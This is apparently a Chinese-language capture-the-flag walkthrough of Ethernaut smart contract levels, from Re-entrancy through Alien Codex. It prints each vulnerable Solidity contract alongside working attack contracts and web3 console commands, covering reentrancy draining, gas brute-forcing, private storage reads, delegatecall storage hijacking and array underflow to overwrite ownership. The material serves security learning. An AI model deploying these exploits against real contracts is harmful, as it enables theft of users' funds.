让我们畅谈智能合约安全吧
 
题库 0x0B Re-entrancy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Reentrance {      using SafeMath for uint256;   mapping(address => uint) public balances;   function donate(address _to) public payable {     balances[_to] = balances[_to].add(msg.value);   }   function balanceOf(address _who) public view returns (uint balance) {     return balances[_who];   }   function withdraw(uint _amount) public {     if(balances[msg.sender] >= _amount) {       (bool result,) = msg.sender.call{value:_amount}("");       if(result) {         _amount;       }       balances[msg.sender] -= _amount;     }   }   receive() external payable {} } 
 
transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:
付款方合约的余额不足,小于所要发送的value 
接收方合约拒绝接收支付 
 
 
send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。
 
call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:
(bool success, bytes memory data) = receivingAddress.call{value: 100}("");
参数为空时会调用 fallback 获取 receive 函数
 
 
著名的 The Dao 事件就是由重入攻击造成的,合约中使用的 call 不会有 gas 额度的限制,并且是在发送 eth 后才修改的余额,所以可以设置 receive 函数里面再次调用 withdraw 函数进行重入将余额提取完,攻击代码如下,调用 donateAndWithdraw 并设置 msg.value 为 1000000000000000 Wei。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IReentrance {     function donate(address _to) external payable;     function withdraw(uint _amount) external; } contract ReentranceAttack {     address public owner;     IReentrance targetContract;     uint targetValue = 1000000000000000;     constructor(address _targetAddr) public {         targetContract = IReentrance(_targetAddr);         owner = msg.sender;     }     function balance() public view returns (uint) {         return address(this).balance;     }     function donateAndWithdraw() public payable {         require(msg.value >= targetValue);         targetContract.donate.value(msg.value)(address(this));         targetContract.withdraw(msg.value);     }     function withdrawAll() public returns (bool) {         require(msg.sender == owner, "my money!!");         uint totalBalance = address(this).balance;         (bool sent, ) = msg.sender.call.value(totalBalance)("");         require(sent, "Failed to send Ether");         return sent;     }     receive() external payable {         uint targetBalance = address(targetContract).balance;         if (targetBalance >= targetValue) {           targetContract.withdraw(targetValue);         }     } } 
 
可以看到攻击后合约地址为 0:
0x0C Elevator 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building {   function isLastFloor(uint) external returns (bool); } contract Elevator {   bool public top;   uint public floor;   function goTo(uint _floor) public {     Building building = Building(msg.sender);     if (! building.isLastFloor(_floor)) {       floor = _floor;       top = building.isLastFloor(floor);     }   } } 
 
逻辑漏洞,第一次 false,第二次 true 就可以绕过了,看 isLastFloor 具体实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface Elevator {   function goTo(uint _floor) external; } contract Building {     bool x=true;     address target;     Elevator elevator;     function isLastFloor(uint) external returns (bool){         x=!x;         return x;     }     function exploit(address _addr) public{         elevator= Elevator(_addr);         elevator.goTo(2);     } } 
 
0x0D Privacy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy {   bool public locked = true;   uint256 public ID = block.timestamp;   uint8 private flattening = 10;   uint8 private denomination = 255;   uint16 private awkwardness = uint16(block.timestamp);   bytes32[3] private data;   constructor(bytes32[3] memory _data) {     data = _data;   }      function unlock(bytes16 _key) public {     require(_key == bytes16(data[2]));     locked = false;   }   /*     A bunch of super advanced solidity algorithms...       ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`       .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,       *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\       `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)       ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU   */ } 
 
locked 1 字节在 slot0 
ID 32 字节在 slot1 
flattening 1 字节,denomination 1 字节,awkwardness 2 字节放一起在 slot2 
data 中每个元素占 32 个字节,单独一个 slot,所以 data[2] 是在 slot5 
 
最后还要转换 bytes16() 取前十六个字节:
1 2 3 key = await web3.eth.getStorageAt(contract.address, 5) key = key.slice(0, 34) 有个 0x 所以 34 await contract.unlock(key) 
 
0x0E Gatekeeper One 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne {   address public entrant;   modifier gateOne() {     require(msg.sender != tx.origin);     _;   }   modifier gateTwo() {     require(gasleft() % 8191 == 0);     _;   }   modifier gateThree(bytes8 _gateKey) {       require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");       require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");       require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");     _;   }   function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {     entrant = tx.origin;     return true;   } } 
 
看下这个题解:https://www.wangan.com/p/11v7568e662b09fc 
修饰器一:之前说过 msg.sender 和 tx.origin 的区别,利用合约来调用函数就可以绕过第一个
修饰器二:利用爆破来撞到剩余 gas 是 8191 的倍数
修饰器三:
第一个 require:uint32(uint64(gateKey)) 从低位截取,变成 0xaaaabbbb。uint16(uint64(gateKey)) 从低位截取,变成 0xbbbb。根据 solidity 的规则,uint32 和 uint16 在比较的时候,较小的类型 uint16 会在高位补 0 至位数和较大类型 uint32 一致,即:0x0000bbbb 和 0xaaaabbbb 比较。因此,我们的参数gateKey 得是一个 xxxxxxxx0000xxxx 类型的数值。 
第二个 require:uint64(gateKey) 是保留所有位,而 uint32(uint64(gateKey)) 保留低 32 位。两者低 32 位是一模一样的,要通过 require,则需要高 32 位任意一位不一致即可,因为 uint32(uint64(gateKey)) 高 32 位全部为 0,那么我们传入的参数高 32 位至少需要一位数不为 0。因此,我们的参数gateKey 可以是一个 FFFFFFFF0000xxxx 类型的数值。 
第三个 require:目前我们确定参数gateKey 可以是一个 FFFFFFFF0000xxxx 类型的数值。那么 uint32(uint64(gateKey)) 之后的结果就是 0000xxxx。uint16(uint160(tx.origin)) 是对钱包地址进行操作,数值类型从低位开始截取,即 uint16(uint160(tx.origin)) 的结果是我们钱包地址的后 16 位,就是后面 4 个数,对于我来说为 9CB7。那么这个gateKey 就确定下来了,可以为:FFFFFFFF00009CB7。(前 8 个 F 是可变的,0000 是雷打不动的,9CB7 根据自己的钱包而定) 
 
攻击代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pragma solidity ^0.8.0; interface GatekeeperOne {    } contract Hack{   GatekeeperOne gatekeeperOne = GatekeeperOne(); // 填 instance 地址   function attack() public {     bytes8 key = 0xFFFFFFFF00009CB7;       // 网络版本       // 为什么这么写呢?因为有玩家通过测试,本关这里的gas的i大概在210次       // 然后他取了一个缓冲值60上下浮动,即:210加减60=>150~270       // 那么,他就打算从gas=150开始循环       // 最多到270次就收手,这就是120的由来:270-150=120       for (uint256 i = 0; i < 120; i++) {           (bool result,) = address(gatekeeperOne).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));           if (result) {               break;           }       }   }   function attack_() public {     bytes8 key = 0xFFFFFFFF00009CB7;       //未知版本       for (uint256 i = 0; i < 8191; i++) {           // 乘3原因:气体最低21000,低于这个值就很可能call调用失败。因此*3就大于21000,你可以乘任何>=3的值           // i从0开始,不断尝试,理论上最多有8191种可能,肯定能试出来。           // 一旦试出来,result返回true,就可以退出循环了           (bool result,) = address(gatekeeperOne).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));           if (result) {               break;           }       }   } } 
 
可以看到 entrant 变成了我的钱包地址:
0x0F Gatekeeper Two 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo {   address public entrant;   modifier gateOne() {     require(msg.sender != tx.origin);     _;   }   modifier gateTwo() {     uint x;     assembly { x := extcodesize(caller()) }     require(x == 0);     _;   }   modifier gateThree(bytes8 _gateKey) {     require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);     _;   }   function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {     entrant = tx.origin;     return true;   } } 
 
修饰器一还是一样
修饰器二:要求 caller 的 code 为 0,我们利用构造函数值运行,那么合约本身就没有任何运行时字节码
修饰器三:uint64(0)-1,取 uint64 的最大值,bytes8(keccak256(abi.encodePacked(msg.sender)))部分是从msg.sender(即本例中的Exploiter合约)中抽取低位的8字节并将其转换为uint64。指令a ^ b是位的XOR(异或)操作。XOR 操作是这样的:如果位置上的两个位相等,将产生一个 “0”,否则将产生一个 “1”。为了使a ^ b = type(uint64).max(都是1), b必须是a的逆数。
攻击代码如下:
1 2 3 4 5 6 7 8 9 10 11 pragma solidity ^0.8.0; contract attack {     constructor(address _victim) {         bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);         bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key);         (bool success,) = _victim.call(payload);         require(success, "failed somewhere...");     } } 
 
0x10 Naught Coin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';  contract NaughtCoin is ERC20 {   // string public constant name = 'NaughtCoin';   // string public constant symbol = '0x0';   // uint public constant decimals = 18;   uint public timeLock = block.timestamp + 10 * 365 days;   uint256 public INITIAL_SUPPLY;   address public player;   constructor(address _player)    ERC20('NaughtCoin', '0x0') {     player = _player;     INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));     // _totalSupply = INITIAL_SUPPLY;     // _balances[player] = INITIAL_SUPPLY;     _mint(player, INITIAL_SUPPLY);     emit Transfer(address(0), player, INITIAL_SUPPLY);   }      function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {     super.transfer(_to, _value);   }   // Prevent the initial owner from transferring tokens until the timelock has passed   modifier lockTokens() {     if (msg.sender == player) {       require(block.timestamp > timeLock);       _;     } else {      _;     }   }  }  
 
transfer 函数被修饰器限制了,但是 ERC20 还支持 transferFrom 函数,
1 2 3 4 secondaddr='' // 第二个随便转出的地址 totalvalue='1000000000000000000000000' await contract.approve(player,totalvalue) await contract.transferFrom(player,secondaddr,totalvalue) 
 
0x11 Preservation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Preservation {   // public library contracts    address public timeZone1Library;   address public timeZone2Library;   address public owner;    uint storedTime;   // Sets the function signature for delegatecall   bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));   constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {     timeZone1Library = _timeZone1LibraryAddress;      timeZone2Library = _timeZone2LibraryAddress;      owner = msg.sender;   }     // set the time for timezone 1   function setFirstTime(uint _timeStamp) public {     timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));   }   // set the time for timezone 2   function setSecondTime(uint _timeStamp) public {     timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));   } } // Simple library contract to set the time contract LibraryContract {   // stores a timestamp    uint storedTime;     function setTime(uint _time) public {     storedTime = _time;   } } 
 
delegatecall 调用上下文在调用合约中,想要修改 owner 就是需要修改第三个 slot,那么可以第一次调用来修改 slot0 的 timeZone1Library,那么 timeZone1Library 可以修改劫持为自己攻击合约的地址,第二次调用可以直接调用的是攻击合约中的 setTime 函数来修改 slot2
1 2 3 4 5 6 7 8 9 10 11 12 13 pragma solidity ^0.8.0; contract AttackPreservation {     // stores a timestamp     address doesNotMatterWhatThisIsOne;     address doesNotMatterWhatThisIsTwo;     address maliciousIndex;     function setTime(uint _time) public {         maliciousIndex = address(uint160(_time));     } } 
 
部署合约后
1 2 await contract.setFirstTime("攻击合约的地址") await contract.setFirstTime(player); 
 
攻击成功:
0x12 Recovery 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Recovery {   //generate tokens   function generateToken(string memory _name, uint256 _initialSupply) public {     new SimpleToken(_name, msg.sender, _initialSupply);      } } contract SimpleToken {   string public name;   mapping (address => uint) public balances;   // constructor   constructor(string memory _name, address _creator, uint256 _initialSupply) {     name = _name;     balances[_creator] = _initialSupply;   }   // collect ether in return for tokens   receive() external payable {     balances[msg.sender] = msg.value * 10;   }   // allow transfers of tokens   function transfer(address _to, uint _amount) public {      require(balances[msg.sender] >= _amount);     balances[msg.sender] = balances[msg.sender] - _amount;     balances[_to] = _amount;   }   // clean up after ourselves   function destroy(address payable _to) public {     selfdestruct(_to);   } } 
 
在 https://sepolia.etherscan.io/  上搜索 Instance 的记录,
点进去看到合约的地址,拿到地址后直接 js 调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 data = web3.eth .abi .encodeFunctionCall ({     name : 'destroy' ,     type : 'function' ,     inputs : [{         type : 'address' ,         name : '_to'      }] }, [player]); await  web3.eth .sendTransaction ({    to : "找到的合约地址" ,     from : player,     data : data }) 
 
destory 参数其实随便填就行,这里我们填入的是 player
0x13 MagicNumber 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract MagicNum {   address public solver;   constructor() {}   function setSolver(address _solver) public {     solver = _solver;   }   /*     ____________/\\\_______/\\\\\\\\\_____              __________/\\\\\_____/\\\///////\\\___              ________/\\\/\\\____\///______\//\\\__              ______/\\\/\/\\\______________/\\\/___              ____/\\\/__\/\\\___________/\\\//_____              __/\\\\\\\\\\\\\\\\_____/\\\//________              _\///////////\\\//____/\\\/___________              ___________\/\\\_____/\\\\\\\\\\\\\\\_              ___________\///_____\///////////////__   */ } 
 
直接操作字节码不太会,看这篇 题解 ,
1 2 3 4 let bytecode = "0x600A600C600039600A6000F3602A60805260206080F3"; web3.eth.sendTransaction({from: player, data: bytecode}); // 通关 Etherscan 得到合约地址 contractAddress await contract.setSolver("contractAddress"); 
 
0x14 Alien Codex 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable {   bool public contact;   bytes32[] public codex;   modifier contacted() {     assert(contact);     _;   }      function makeContact() public {     contact = true;   }   function record(bytes32 _content) contacted public {     codex.push(_content);   }   function retract() contacted public {     codex.length--;   }   function revise(uint i, bytes32 _content) contacted public {     codex[i] = _content;   } } 
 
这种动态数组的第一个元素不是紧贴长度的,也就是 slot1 在这个合约中,是 keccak256(p),计算出来的。这里 p 是 1,算出来后再溢出 2^256 slot 最多的长度就行。
1 2 3 4 5 6 contract.makeContact () contract.retract ()  await  contract.revise ('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a' , '0x000000000000000000000000'  + player.substr (2 ))